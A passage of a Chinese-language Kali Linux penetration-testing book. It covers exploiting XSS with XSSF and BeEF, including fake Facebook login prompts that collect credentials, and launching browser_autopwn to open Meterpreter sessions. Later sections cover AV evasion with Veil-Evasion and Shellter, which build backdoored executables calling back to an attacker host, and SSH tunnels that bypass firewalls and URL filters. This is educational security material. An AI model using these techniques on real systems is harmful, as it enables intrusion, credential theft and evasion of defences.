使用schtask命令让psh_web_delivery持久稳定是可能的。以下命令将创建一个预定任务，MSOfficeMngmt，其登录系统后将执行powershell.exe（默认情况下，位于Windows\system32目录下）：
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其他的PowerShell脚本，旨在支持后期利用活动的脚本，在Kali的PowerSploit目录中可以找到。尽管PowerShell有很好的灵活性，但仍具有不足之处。

例如，如果包含宏的文件，被最终用户在一个持久机制应用之前关闭，则连接丢失。

更重要的是，脚本VBScript和PowerShell只在微软环境中有用。为了扩展客户端的攻击范围，我们需要寻找一个可以被利用的通用客户端漏洞，而不考虑其操作系统环境。这种漏洞的一个具体实例是跨站点脚本。


9.3　跨站点脚本框架

跨站点脚本（Cross-Site Scripting，XSS）漏洞，据说是最常见的、能在网站上找到的、可利用的漏洞。由于缺乏输入数据清理，XSS漏洞普遍存在。

一个XSS攻击涉及三个实体：攻击者、受害者、脆弱网站或Web应用程序。攻击产生的本质原因在于脆弱网站上的HTML页面上有一个可以返回用户输入的脚本，而该脚本并不对用户的输入进行任何审查。这就使得攻击者可以在其中输入JavaScript代码，而受害者在浏览器打开这个页面时，该JavaScript脚本就被执行了。因此，有可能构造一个指向该脆弱网站的链接，该链接中的一个参数就是恶意JavaScript代码。这样，获取受害者访问该脆弱网站cookie的JavaScript代码将在受害者打开的浏览器环境中被执行。

至少有两个主要类型的XSS漏洞：非持久的（non-persistent）和持久的（persistent）。

最常见的类型是非持久的或反映漏洞的。当由客户端提供的数据被服务器直接使用并显示响应时，这些漏洞将会产生。此种漏洞的攻击，可以通过电子邮件，或第三方网站提供一个似乎值得信赖，但包含XSS攻击代码的URL而发生。如果可信站点很容易受到这种特定的攻击，在执行环节可能导致受害者的浏览器执行恶意脚本，并可能会俘获受害者。

持久的（存储）XSS漏洞将出现，当攻击者提供的数据被服务器保存，然后在他们浏览网页的过程中，永久地显示在其信任的网页中。这通常发生在网上留言板和博客中，这里允许用户张贴HTML格式的消息。一个攻击者可以将恶意脚本放入网页，其对即将到来的用户是不可见的，但其可以入侵受影响网页的访客。

一些存在于Kali Linux上的工具可以找到XSS漏洞，包括xsser和各种各样的漏洞扫描器。然而，也有一些工具可以让测试者充分利用XSS漏洞，并展示该漏洞的严重性。

跨站点脚本框架（Cross-Site Scripting Framework，XSSF）是一个多平台的安全工具，其利用XSS漏洞在目标上创建通信通道，并支持攻击模块，包括以下内容：

·对目标浏览器（指纹和以前访问URL）、目标主机（检测虚拟机，获取系统信息，注册密钥和无线密钥）和内部网络进行侦察。

·发送弹出的警报消息到目标系统。这种简单的“攻击”可用来展示XSS的脆弱性，然而，更复杂的警报可以模拟登录提示和捕获用户的身份认证凭证。

·窃取信息记录程序，使攻击者冒充目标。

·重定向目标来查看不同的网页。一个恶意的网页可以自动下载漏洞，并且利用到目标系统上。

·加载PDF文件或Java小程序到目标系统上，或者窃取数据，如从安卓移动设备中窃取SD卡的内容。

·发动Metasploit攻击，包括browser_autopwn，以及拒绝服务攻击。

·发动社会工程攻击，其中包括自动完成盗窃、点击劫持（clickjacking）、假闪存更新、网络钓鱼和标签绑架等。

此外，XSSF隧道（XSSF Tunnel）功能允许攻击者冒充受害者，使用他们的凭证浏览网站与会话。这可能是一种有效的、用来访问企业内部局域网的方法。

该API是有据可查的，可以很容易地创建新的攻击模块。因为它是用Ruby编写的，该API集成了Metasploit的框架，允许攻击者发动更多的攻击。

使用XSSF，支持一个攻击，必须安装和配置，具体步骤如下：

1）下载https://code.google.com/archive/p/xssf/downloads
 。

2）使用unzip XSSF-3.0命令解压下载文件。

3）使用explorer文件将XSSF-3.0中的所有文件移到/usr/share/metasploit-framework/中。

4）确认你没有覆盖文件与文件夹，你必须选择Merge，如图9.12所示。
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图9.12　使用Merge

5）从Metasploit框架控制台，使用load xssf加载XSSF插件，接着使用xssf_urls命令，结果如图9.13所示。
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图9.13　使用xssf_urls命令

6）我们将使用Web应用漏洞——Mutillidae，来证明XSSF。一旦打开Mutillidae，导航到博客如图9.14所示。
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图9.14　应用Mutillidate

7）为了对目标客户发起攻击，不要定期发布到博客，而是输入包含目标的URL和端口的脚本元素：
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图9.15显示了攻击代码的位置在目标网站的博客页面中。
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图9.15　包含恶意代码的博客页面

当这些代码被输入且受害者点击保存博客条目（Save Blog Entry）时，他们的系统将被侵入。从Metasploit框架的控制台，测试者可以使用xssf_victims和xssf_information命令获取每个受害者的信息。在执行xssf_victims命令时，每个受害者的信息均被显示，如图9.16所示。
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图9.16　执行xssf_victims命令显示受害者信息

在这一点上，最常见的XSS攻击是发送一个简短而相对无害的消息或向客户端报警。使用Metasploit框架，可以相对简单地实现，输入以下命令：
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审查选项之后，警报可以迅速通过命令行发送，如图9.17所示。
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图9.17　受害者看到消息

一般来说，大多数测试者和他们的客户验证跨站点脚本，使用这种简单的警告消息。这证明了一个“漏洞”的存在。

然而，简单的警报缺乏情绪的影响。通常情况下，它们确定的是一个真正的漏洞，但客户并不响应和处理该漏洞，因为警报消息不被认为是一个显著的威胁。幸运的是，XSSF允许测试者“提高赌注”，并表现出更复杂、更危险的攻击。

XSSF可以用来获取cookies、作为一个键盘记录程序、也可以伪造跨站请求（CSRF）、重定向攻击、捕获摄像头图片。然而，类似的攻击可以通过BeEF实现。


9.4　浏览器开发框架——BeEF

BeEF（Browser Exploitation Framework）是一种开发工具，专注于一个特定的客户端应用程序：Web浏览器。BeEF允许攻击者使用如XSS或SQL注入的攻击，将JavaScript代码注入到脆弱的HTML代码。这种攻击代码被称为钩（hook）。破坏是由浏览器执行钩时实现的。浏览器（僵尸）连接回BeEF应用程序，其提供给浏览器的JavaScript命令或模块。

BeEF的模块执行任务如下：

·指纹识别和受损浏览器的侦察。它也可以作为一个平台，用来评估存在于不同浏览器上的攻击和它们的行为。

需要注意的是，BeEF允许我们在同一客户端上钩住多个浏览器，以及在一个域内的多个客户端，并在利用和后期利用阶段管理它们。

·指纹识别目标主机，包括存在的虚拟机。

·在客户端上检测软件（仅限互联网浏览器），并获得在程序文件（Program Files）和程序文件（x86）目录里的目录列表。这可以识别其他可以被利用的应用程序，以维持我们在客户端上的状态。

·使用受损系统的网络摄像头摄取照片，这些照片在报告中有重要的影响。

·对受害者的数据文件进行搜索，并窃取可能包含身份验证凭证的数据（剪贴板中的内容和浏览器的信息记录程序）或其他有用信息。

·实现浏览器击键记录。

·使用ping扫描和指纹机制对网络设备进行网络侦察，并扫描开放端口。

·从Metasploit框架发动攻击。

·使用隧道代理扩展，利用受损Web浏览器的安全权限，攻击内部网络。

因为BeEF是用Ruby编写的，它支持多个操作系统（Linux、Window和OS X）。更重要的是，它很容易在BeEF及其扩展功能中定制新模块。

配置Beff

Beff默认安装在Kali中的/usr/share/beef-xss目录。

在默认情况下，Beff没有集成到Metasploit框架中。要集成Beff，则需要执行以下步骤：

1）编辑位于/usr/share/beef-xss/config.yaml中的主要配置文件以便阅读。
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2）编辑位于/usr/share/beef-xss/extensions/metasploit/config.yml中的文件。你需要为Metasploit框架编辑行：host、callback_host、os'custom'，以及包括你的IP地址和位置的path。一个正确编辑后的config.yml文件如图9.18所示。
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图9.18　正确编辑的confi g.yml文件

3）开启msfconsole，并加载msgrpc模块，如图9.19所示。确保已包含密码：
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图9.19　加载msgrpc模块

4）使用以下命令启动BeEF：
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5）如果消息显示成功连接到Metasploit（Successful connection with Metaspliot），同时显示Metasploit攻击已经加载，说明BeEF启动成功。成功启动后的消息如图9.20所示。
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图9.20　BeEF启动成功

当你重启BeEF，可用-x开关复位该数据库。

在这个例子中，BeEF服务器运行在192.168.213.128，并且“钩URL网址”（我们希望目标是激活）是在192.168.213.128：3000/hook.js上。

大部分管理和BeEF的管理是通过Web界面完成的。要访问控制面板，首先访问http://<IP Address>:3000/ui/panel
 。

默认的登录凭证是Username：beef和Password：beef，如图9.21所示，除非这些在config.yaml中发生了变化。
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图9.21　项目BeEF登录页面


9.5　BeEF浏览器的演练

当BeEF控制面板启动时，它将显示开始（Getting Started）屏幕；包含链接到在线网站，以及演示可用于验证各种攻击的页面。BeEF控制面板的显示如图9.22所示。
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图9.22　BeEF控制面板

如果你已经钩到一个受害者，则接口将被分为两个面板：

·面板的左侧是带钩浏览器（Hooked Browsers），测试人员可以看到每一个连接浏览器，列出了有关其主机操作系统的信息：浏览器类型、IP地址，以及安装的插件。因为BeEF设置了一个信息记录程序来识别受害者，它可以参考这些信息来保持受害者名单的一致性。

·面板的右侧所有的动作已被启动，并且获得了结果。在Commands选项卡中，我们看到一个使用不同攻击向量的分类存储库，其可以攻击上钩的浏览器。此视图将根据不同浏览器的类型和版本而有所不同。

BeEF采用颜色编码方案，描述关于特定的目标及其可用的基础命令。使用的颜色如下：

·绿色（Green）：表明该命令模块对目标工作，将被受害者检测到。

·橙色（Orange）：表示该命令模块对目标工作，它可能被受害者检测到。

·灰色（Gray）：表明该命令模块尚未得到目标验证。

·红色（Red）：表明该命令模块针对目标不工作。它可以被使用，但不能保证成功，它的使用可能被目标检测到。

必须对这些指标持有怀疑态度，因为变化的客户端环境可以使一些命令失效，或可能导致其他意想不到的结果。

要启动一个攻击或拦截一个受害者，我们需要用户点击上钩的网址，其形式如<IP ADDRESS>：<PORT>/hook.js。可以通过使用各种手段来实现，其中包括：

·最初的XSS漏洞。

·中间人攻击（尤其是那些使用BeEF Shank，an ARP欺骗工具，专门针对内部网络中内部站点的攻击）。

·社会工程攻击，包括BeEF网络克隆工具和大量电子邮件，由假冒的iFrame定制的钩点，或二维码生成器。

一旦浏览器被钩住，它将被称为僵尸。从Hooked Browsers面板上，命令接口的左侧选择该僵尸的IP地址，然后参考可用命令。

在图9.23所示的例子中，有几种不同的攻击均可用于带钩浏览器的管理选项。一个最简单的攻击选择是使用社会工程Clippy攻击。
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图9.23　Clippy攻击

当Clippy从Commands下的Module Tree被选出时，一个具体的Clippy在最右侧的面板启动，如图9.24所示。它允许你调整图像，提供文本和将在本地发动的可执行文件，如果受害者点击了提供的链接。在默认情况下，自定义文本通知受害者他们的浏览器已过期，为他们提供更新，下载可执行（无恶意的）文件，然后感谢执行升级的用户。所有这些选项可以由测试人员更改。

当执行Clippy时，受害者将在他们的浏览器上看到一条消息，如图9.24所示。
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图9.24　在Clippy攻击中，受害者看到信息

这是一个非常有效的社会工程攻击。在与客户的测试中，我们有大约70%的成功率（客户端下载一个无恶意的指标文件）。

一个更有趣的攻击是Pretty Theft，其要求用户提供最热门网站的用户名和密码。例如，对于Facebook的Pretty Theft选项，可以由测试人员进行配置，如图9.25所示。

[image: ]


图9.25　Pretty Theft选项

当执行攻击时，受害者呈现一个似乎合法的弹出，如图9.26所示。

[image: ]


图9.26　受害者看到的要求输入Facebook密码的界面

在BeEF中，测试人员审查该攻击的历史记录，可以在Command results列的data字段中获得用户名和密码，如图9.27所示。

[image: ]


图9.27　从历史数据中发现用户名及密码

另一个可以快速启动的攻击是老式的网络钓鱼；一旦浏览器勾住了BeEF，将用户重定向到攻击者控制的网站就相当简单了。


9.5.1　整合BeEF和Metasploit攻击

BeEF和Metasploit框架均是用Ruby开发的，并且可以一起使用来攻击目标。由于其使用客户端和服务端的指纹识别确定目标，所以browser_autopwn是一个最成功的攻击。

一旦目标上钩，启动Metasploit控制台并使用以下命令配置该攻击：
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等到所有相关的漏洞利用加载完毕。在图9.28所示的例子中，有20个漏洞利用被加载。同样也记录了该攻击目标的URL。在这个例子中，目标URL是http://192.168.213.128:8080/Bo4QcxfSINty
 。
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图9.28　加载browser_autopwn利用

有几种方法可以直接让浏览器点击目标URL，但是，如果我们已经连接了目标浏览器，可以使用BeEF的redirect功能。在BeEF的控制面板中，进入Browser|Hooked Domain|Redirect Browser。当出现提示时，使用此模块指向目标URL，然后执行该攻击。

在Metasploit的控制台中，你将看到所选的攻击针对目标成功发起。一个成功的攻击将打开一个Meterpreter会话。


9.5.2　用BeEF作为隧道代理

隧道是一个在交付协议中封装有效载荷协议的过程，如IP。使用隧道，你可以在网络上传输不兼容的协议，或者，你也可以绕过被配置为阻止特定协议的防火墙。BeEF可以被配置为隧道代理，模仿一个反向HTTP代理：浏览器会话变成隧道，带钩浏览器变成出口点。当内部网络已被破坏时，这个配置是相当有用的，因为隧道代理可以被用于：

·浏览通过身份验证网站的、受害者浏览器的安全内容（客户端SSL证书、认证的信息记录程序、NTLM散列函数，等等）。

·使用受害者浏览器的安全内容，爬已经上钩的域。

·便于使用的工具，如SQL注入。

要使用隧道代理，选择带钩浏览器，你希望的目标并且右键单击其IP地址。在弹出的对话框中，选择Use as Proxy的选项，如图9.29所示。
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图9.29　使用隧道代理

配置浏览器，使用BeEF隧道代理作为HTTP代理。在默认情况下，该代理的地址是127.0.0.1，端口号是6789。

如果你访问一个目标网站，使用设置为HTTP代理的浏览器，所有生成的请求/响应对将被存储在BeEF的数据库中，其可以被分析，导航到Rider|History（日志摘录如图9.30所示）。
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图9.30　日志摘录

一旦攻击已经完成，有一些机制来确保该连接被持久保留，其中包括：

·确认关闭（Confirm close）：当他们试图关闭一个项目时，一个模块弹出，呈现给受害者：Confirm Navigation-are you sure you want to leave this page？（确认导航——你确定你想离开这个页面吗？）。如果用户选择Leave this Page（离开这个页面），它将失效，会继续弹出Confirm Navigation。

·下弹出模块（Pop-under module）：这是配置在config.yaml中的自动运行模块。如果受害者关闭主浏览器选项卡，此模块试图打开一个小下弹出窗口，用于保持带钩浏览器。这可以通过弹出窗口阻止程序来阻止。

·iFrame键盘记录器（iFrame keylogger）：重写所有的网页链接到iFrame，并覆盖100%的原始高度和宽度。为实现最大化效果，它应该被附加到JavaScript键盘记录器中。理想情况下，你会加载带钩域的登录页面。

·人在浏览器中（Man-in-the-browser）：此模块可确保受害者点击任何链接后，出现的下一个页面也将被钩。避免这种行为的唯一途径是在地址栏中输入一个新的地址。

最后，虽然BeEF提供了一个极好的模块系列来执行侦察，同时用于杀链的利用和后期利用阶段，但BeEF已知的默认活动（/hook.js和服务器头信息）被用于检测攻击，这降低了其有效性。测试人员将不得不伪装自己的攻击，使用Base64编码、空格编码、随机的变量和删除注释，以确保其在未来有完整的有效性。


9.6　小结

在本章中，我们研究了针对系统的攻击，通常是从被保护网络中孤立出来的。这些客户端攻击，重点放在特定应用程序的漏洞上。我们回顾了恶意脚本，尤其是VBScript和PowerShell，其在测试和破坏Windows网络中特别有用。然后，我们也研究了跨站脚本框架，它可以破解XSS漏洞，以及BeEF工具，其目标是攻击网络浏览器的漏洞。XSSF和BeEF与侦察、利用和后期利用工具的整合集成，在Kali上提供了综合的攻击平台。

在下一章中，我们将把更多的精力放在如何绕过网络接入控制（NAC）和杀毒软件，用户账户控制（UAC）和Windows操作系统的控制。我们还将探索工具如掩饰框架、避难所、增强迁移体验工具包（EMET）。


第10章　绕过安全控制

“唯一能站在你和非凡成功之间的就是不断进步。”

通常，假设测试人员拥有知识和工具集，可以完全地入侵网络或企业，当测试人员达到root或连接到内部网络时，他们就完成了测试。在评估目标组织的预防和检测技术时，渗透测试活动中一个被忽视的方面是绕过安全控制。作为杀链方法至关重要的一部分，所有的渗透测试活动中，渗透测试人员或攻击者需要了解在对目标网络或系统进行主动攻击时，使入侵目标失效的原因是什么，并且绕过目标组织设置的安全控制。在本章中，我们将对不同类型的安全控制进行介绍，为了克服这些控制需要识别系统的过程，并演示使用Kali工具集的方法。

在本章中，你将了解以下内容：

·绕过网络访问控制（Network Access Control，NAC）

·使用不同的框架绕过防病毒软件

·绕过应用程序级控制

·绕过Windows特定的操作系统安全控制


10.1　绕过网络访问控制

NAC按照IEEE 802.1X标准的基本要求运行。大多数公司都实现了用NAC保护所有的网络节点，如交换机、路由器、防火墙、服务器，以及更重要的端点。

恰当的NAC指的是设置防止入侵的控制策略，主要确定谁可以访问什么内容。在本节中，我们将深入研究攻击者或渗透测试人员在RTE或渗透测试中遇到的不同类型的NAC。

由于没有特定的共同标准或标准化的NAC，各供应商的实现方式都有所不同。例如，思科提供思科网络准入控制（Cisco Network Admission Control）、微软提供微软网络访问保护（Microsoft Network Access Protection）。NAC的主要目的是控制可以连接的设备/元素，然后确保它们是兼容的。NAC网络访问控制保护可分为两个不同的类别：

1）前准入NAC。

2）后准入NAC。

图10.1提供了一个攻击者在内部渗透测试或后开发阶段，按杀链方法执行的思维导图活动。
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图10.1　网络访问控制导图


10.1.1　前准入NAC

在前准入NAC中，为了便于给网络添加新设备，基本上所有的控制都是按照安全要求进行的布置。接下来的部分将介绍绕过它们的不同方法。

1.添加新元素

通常，公司中任何已经部署的NAC都能够识别添加到网络中的任何新元素（设备）。在红队测试或内部渗透测试过程中，攻击者通常添加设备到网络如pwnexpress NAC，并通过在设备上运行Kali Linux绕过NAC设定的限制，保持对添加设备的访问。

在6.4节中，我们已经看到了如何绕过MAC地址认证，并让我们的系统通过macchanger来进入网络。

2.识别规则

识别规则被认为是理解规则如何应用的艺术，尤其是当内部系统隐藏在NAT后面的时候。例如，如果你能把你的Kali攻击箱作为一个内部网络的元素，通过MAC过滤器或物理接入局域网电缆；那么，你已经使用本地IP地址将该元素添加到企业网络中，如图10.2所示。

DHCP信息被自动地更新到/etc/resolv.conf文件中。许多企业使用DHCP代理来保护自己，可以通过添加一个静态IP地址来绕过它。
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图10.2　接入企业网

（1）异常

根据经验，我们已经注意到任何对规则列表有明显异常的组织都将之应用于访问控制。例如，如果应用程序端口允许一定范围内的IP访问，那么一个经过验证的元素或端点就可以模拟异常，例如路由。

（2）隔离规则

在渗透测试期间识别隔离规则，将测试攻击者规避企业设置的安全控制的能力。

3.禁用端点安全

在前准入NAC中攻击者可能遇到的一个问题是，当元素不兼容时，端点将被禁用。例如，试图连接到网络而没有安装反病毒的元素将被自动隔离。

（1）预防补救

大多数端点都有一个抗病毒和预定义的补救活动。例如，执行端口扫描的IP地址将会被阻塞一段时间，而流量将被杀毒软件阻塞。

（2）添加异常

如果已经在访问一个远程shell，添加自己的规则集是很重要的。

例如，可以利用Windows命令行netsh实用程序，通过防火墙添加一个远程桌面，如图10.3所示。
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图10.3　使用netsh命令


10.1.2　后准入NAC

后准入NAC是一组已经被授权的设备，它们位于交换机和分发交换机之间，而攻击者可以注意到的保护措施是绕过防火墙和入侵预防系统。

1.旁路隔离

在高级主机入侵预防的情况下，如果端点丢失了安全配置，或者被破坏或被感染，可能有一条规则可以将端点隔离到特定的段中。这将为攻击者提供机会，使他们能够利用特定段的所有系统。

2.蜜罐探测

我们注意到，一些公司还实施了先进的保护机制，将被感染的系统或服务器指向一个蜜罐，并且设置一个陷阱，了解入侵感染或攻击背后的实际动机。


10.2　使用不同的框架绕过防病毒软件

杀链的利用阶段是最危险的一个阶段，渗透测试者或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用隐身技术，以最大限度地减少测试者暴露的风险。虽然没有具体的方法或工具是无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。

当考虑远程攻击时，大多数网络和系统采用不同类型的防御控制，以减少攻击的风险。网络设备包括路由器、防火墙、入侵检测和预防系统，以及恶意软件检测工具。

为了方便漏洞利用，大多数框架纳入了使攻击具有某种隐身的功能。Metasploit框架允许你手动设置基于利用漏洞利用（exploit-by-exploit）的规避因素；然而，确定那一个因素（如作为加密、端口号、文件名和其他因素）是困难的，同时，改变每一个特定的ID也是困难的。该Metasploit框架还允许目标和攻击系统之间的通信是加密的（Windows/meterpreter/reverse_tcp_rc4有效载荷），使得检测到所利用的有效载荷变得非常困难。

Metasploit Pro可作为Kali分布的一个试验，包括以下具体绕过入侵检测系统的方法：

·在发现扫描（Discovery Scan）的设置中，扫描速度可以调整，为降低与目标的交互速度，可以将速度设置为较低。

·通过发送较小的TCP数据包，并增加数据包之间的传输时间。

·减少针对目标系统的同时攻击的数量。

·利用一些特定的回避选项使得DCERPC、HTTP和SMB都能自动配置。

大多数反病毒软件依靠签名匹配来定位病毒和其他恶意软件。它们检查每一个已知的病毒（签名）的可执行代码串，当检测到一个可疑的字符串时，创建一个报警。许多Metasploit的攻击者依赖于可能具有签名的文件，随着时间的推移，这样的文件将被杀毒厂商识别。

对此，Metasploit框架允许独立的可执行文件通过编码来绕过检测。不幸的是，在公共场所，这些可执行测试的泛滥，如virustotal.com，降低了其绕过AV软件的有效性。然而，这就产生了如Veil和Shellter这样的框架来绕过AV软件，通过交叉验证可执行程序，将它们直接上传到病毒总数中，然后再将后门植入目标环境中。


10.2.1　利用Veil框架

一个新的AV–逃脱框架由Chris Truncer完成，叫作Veil-Evasion（www.veil-evasion.com），正在为针对终端和服务器的独立的漏洞利用提供有效的保护。Veil-Evasion利用一个简单管理框架，规避各种外壳代码（shellcode）注入技术。

作为一个框架，Veil-Evasion具有一些特性，主要包括如下几点：

·它可以让自定义的shellcode与多种编程语言结合，包括C、C#、Python。

·它可以使用Metasploit生成的shellcode。

·它可以集成第三方工具，如Hyperion（使用AES-128位加密EXE文件）、PEScrambler、BackDoor Factory。

·Veil-Evasion_evasion.cna脚本允许Veil-Evasion被集成到Armitage和其商业版Cobalt Strike中。

·有效载荷可以生成和无缝代入到所有PsExec调用。

·用户有能力重用shellcode或实现他们自己的加密方法。

·它具有自动化部署脚本的功能。

·Veil-Evasion在不断发展，它的框架已经有扩展模块，如Veil-Evasion-Catapult（有效载荷交付系统）。

Veil-Evasion可以产生漏洞利用有效载荷；独立的有效载荷包括以下选项：

·调用shellcode安装最小版的Python；上传一个最小的python.zip安装文件和7zip二进制文件。Python环境是解压缩的，调用shellcode。因为与受害者互动的唯一的文件是值得信赖的Python库和解释器，受害者的AV不检测或不报警任何不寻常的活动。

·Sethc后门，它将配置受害者的注册表，启动粘滞键RDP后门。

·PowerShell的shellcode注入。

当载荷已经建立，可以用以下两种方法之一传递到目标：

·使用Impacket和PTH工具包上传并执行。

·UNC调用。

Veil-Evasion可从Kali库中获得，安装Veil-Evasion在提示符下简单地输入apt-get installveil-evasion命令即可。

在安装过程中，如果你收到任何错误，重新运行：/usr/share/veil-evasion/setup/setup.sh脚本。

Veil-Evasion为用户呈现一个主菜单，它提供几个负载模块，并且这些载荷用命令的方式使用。命令list将列出所有可用的payloads，命令listlangs将列出有效载荷的可用语言，命令list<language>将列出特定语言的有效载荷表。Veil-Evasion开始启动的初始界面如图10.4所示。
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图10.4　Veil-Evasion开始启动的初始界面

Veil-Evasion正在快速发展，几乎每个月都有重大的发布，重要的升级更加频繁地发生。目前，采用加密或直接注入到内存空间的技术，有24个有效载荷能绕过杀毒软件。这些有效载荷如图10.5所示。
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图10.5　Veil-Evasion可用的有效载荷

要获得一个特定的负载信息，输入info<载荷数字/载荷名>，或者输入info<tab>，自动填充可用有效载荷的信息。你还可以输入列表中的数字。在下面的例子中，我们输入19选择python/shellcode_inject/aes_encrypt载荷（见图10.6）。

利用包括expire_payload选项。如果模块不能被目标用户在指定的时间内运行，该模块不能操作。此功能有助于攻击的隐蔽性。

所需的选项包括选项的名称、默认值和描述。如果所需的值不是默认值，则测试人员需在有效载荷生成前输入一个值。要设置一个选项的值，输入set<选项名>，然后输入期望值。如果要接受默认选项，并创建该利用时，需在命令提示行输入生成类型。
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图10.6　python/shellcode_inject/aes_encrypt载荷

如果载荷使用shellcode，将为你呈现shellcode菜单，你可以选择msfvenom（默认shellcode）或自定义的shellcode。如果自定义shellcode选项已经选择，以\X01\X02的形式进入shellcode，不能有引号和换行符（\n）。如果默认msfvenom被选中，你的默认载荷选择提示符是windows/meterpreter/reverse_tcp。如果你想使用另一个有效载荷，按Tab键来完成有效载荷。可用的有效载荷如图10.7所示。
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图10.7　选择载荷

在下面的例子中，使用tab命令来展示一些可用的有效载荷；然而，默认（windows/meterpreter/reverse_tcp）被选定，如图10.8所示。
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图10.8　使用tab命令显示可用的载荷

然后，用户将看到输出菜单上显示一个提示，在这里选择所生成的负载文件的基本名。如果负载是基于Python的，并且你选择了compile_to_exe选项，用户可以使用Pyinstaller创建EXE文件，或者直接生成Py2Exe文件。

使用以下选项还可以直接从命令行创建该利用：
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一旦一个漏洞利用被创建，测试人员应该验证载荷对抗VirusTotal的能力，确保载荷放在目标系统中不会触发警报。如果负载样品被直接提交到VirusTotal，并且它的行为被标记为恶意软件，那么，在短短一个小时内，反病毒供应商将发签名更新以阻击载荷。这就是为什么用户被明确警告“不提交样品到任何在线扫描！”的信息

Veil-Evasion允许测试人员使用安全检查对抗VirusTotal。当创建了任何有效载荷时，将创建一个SHA1散列，并添加到hashes.txt文件，位于~/veiloutput目录。测试人员可以调用checkvt脚本提交散列值到VirusTotal，并检查该SHA1散列值与VirusTotal的恶意软件数据库。如果一个Veil-Evasion的有效载荷触发了一个匹配，那么测试人员知道它可以被目标系统检测到。如果它不触发匹配，那么该漏洞利用载荷将绕过反病毒软件。一个使用checkvt命令的成功的查找（没有被AV检测到）如图10.9所示。
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图10.9　检查VirusTotal中的载荷

测试（Testing）：目前只支持接下来这种情况，如果checkvt在VirusTotal中未找到匹配项，目标机的杀毒软件将检测不了载荷。为了在Metasploit框架中使用它，使用exploit/multi/handler并将PAYLOAD设置成windows/meterpreter/reverse_tcp（与Veil-Evasion载荷选项相同），也与Veil-Evasion中的LHOST及LPORT相同。一旦监听程序工作，将发送漏洞利用程序至目标系统。当监听程序调用它后，它将建立一个反弹shell给攻击者的系统。


10.2.2　利用Shellter

Shellter是另一种防病毒软件的入侵工具，它可以动态地感染PE，也可以将shell代码注入任何32位的本地Windows应用程序中。它允许攻击者定制有效负载或使用Metasploit框架。大多数反病毒系统将无法识别恶意的可执行文件，这取决于攻击者如何重新编码大量的签名。

可以在终端上运行apt-get install shellter安装Shellter。一旦安装了应用程序，我们就可以通过在终端上使用shellter命令来打开Shellter，能够看到准备在任何可执行文件上创建一个后门的截图，如图10.10所示。
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图10.10　准备为可执行文件创建后门

启动Shellter后，以下是创建恶意可执行文件所涉及的典型步骤：

1）攻击者可以选择自动（A）或者手动（M），以及帮助（H）。为了演示，我们将使用自动模式。

2）下一步是提供PE目标文件，攻击者可以选择任何exe文件或者利用在/usr/share/windows-binaries/中的可执行文件。

3）一旦提供了PE目标文件的位置，Shellter就能够将PE文件分解，如图10.11所示。
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图10.11　分解PE文件

4）分解完成后，Shellter将提供是否启用隐身模式的选项。

5）选择隐身模式后，你可以将所列的有效载荷注入到相同的PE文件中，如图10.12所示，或者你可以选C自定义载荷。
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图10.12　选择隐身模式

6）在这个例子中，我们利用Meterpreter_reverse_HTTPS，并提供LHOST和LPORT，如图10.13所示。
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图10.13　使用Meterpreter_reverse_HTTPS的截图

7）所有需要的信息都提供给了Shellter，所提供的PE文件作为输入，现在被注入了有效载荷，并且注入完成了，如图10.14所示。
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图10.14　PE文件完成注入

现在，最终的可执行文件已经准备好被杀毒软件扫描了。在这个例子中，我们将使用Windows bit defender来扫描可执行文件，如图10.15所示。
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图10.15　使用Windows bit defender扫描文件

一旦这个可执行文件发送给受害者，攻击者就可以根据有效载荷打开监听器；在我们的示例中，LHOST是192.168.1.102，LPORT是5544：
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现在你可以将前面的命令列表保存到文件名为listener.rc的文件中，通过运行msfconsole-rlistener.rc来使用Metasploit。一旦受害者打开了可执行文件而不被防病毒程序或任何安全控制阻止，它就应该向攻击者的IP打开通道而不会有任何麻烦，如图10.16所示。
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图10.16　入侵成功

这就是建立一个后门并将其植入受害者系统的有效方法。

大多数反病毒工具能够抓取反向Meterpreter shell。建议渗透测试者在真正使用前，进行多次编码。


10.3　绕过应用程序级控制

绕过应用程序控制是后利用的一项琐碎活动；有多个应用程序级别的保护/控制措施。在本节中，我们将深入研究常见的应用程序级控制和策略，以绕过它们，并从企业网络建立到互联网的连接。


10.3.1　利用SSH穿透客户端防火墙

在将自己添加到内部网络之后，最主要的事情之一就是如何使用SSH隧道穿透防火墙。现在我们将建立一个反向隧道，从外部互联网绕过所有的安全控制进入攻击箱。

1.由内到外

在下面的例子中，Kali Linux在61.x.x.142的互联网云上运行，在端口443上运行SSH服务（确保你更改了网络路由器上的设置以运行点到SSH）。从公司内部网络来看，除了80和443端口外，所有的端口都在防火墙级别上被封锁，这意味着内部人员能够从公司网络访问互联网。攻击者可以通过直接访问端口443的SSH服务来使用Kali Linux。

从技术上讲，这家公司的网络流量（见图10.17）是由内到外的：
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图10.17　一个公司的网络流量

下一步，你应该能够使用你的互联网系统与内部网络进行通信。

2.绕过URL过滤机制

你可以利用现有的SSH连接，并使用端口转发技术来绕过安全策略或本地设备的任何限制。

当我们尝试访问下面的例子时，显示有一个URL过滤装置，它阻止我们访问某些网站，如图10.18所示。

这可以用一个隧道工具来绕过；在这种情况下，我们将使用一个可移植的软件PuTTY。

1）打开PuTTY菜单。

2）单击连接（Connection）选项卡上的隧道（tunnels）。

3）输入本地端口为8090，并将远程端口添加为任意一个，如图10.19所示。
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图10.18　由URL过滤设备的系统
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图10.19　添加远程端口

这使得互联网能够访问你的内部到外部系统，这意味着端口8090上的所有流量现在可以通过外部系统在61.x.x.142上进行转发。

4）下一步是找到Internet Options|LAN connections|Advanced|SOCKs，在代理地址中（Proxy address to use）输入127.0.0.1，在端口上使用8090，如图10.20所示。
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图10.20　使用Proxy address to use

现在代理指向了远程机器；你现在可以访问该网站，没有来自代理或任何URL过滤设备的任何阻挡，如图10.21所示。通过这种方式，渗透测试人员可以绕过URL过滤，并将数据过滤到公共云，或黑客托管的计算机，或被屏蔽的网站。
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图10.21　完成任务

3.由外到内

为了建立一个稳定的从外部到内部系统的连接，必须使用SSH建立一个隧道：
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图10.22显示了使用SSH从内部到外部主机的登录，并在本地主机上打开了一个端口2210，以转发SSH。
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图10.22　使用SSH

这是通过反向SSH隧道建立一个稳定的反向连接，可以绕过任何防火墙限制。在对远程系统进行身份验证后，运行以下命令：
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发布内部访问，这都是关于持久性的，需要保持对数据的过滤和访问，同时要求避免防火墙或网络保护设备进行的检测。

测试者必须通过编辑/etc/ssh/ssh_config设置GatewayPorts为yes来改变SSH测试。


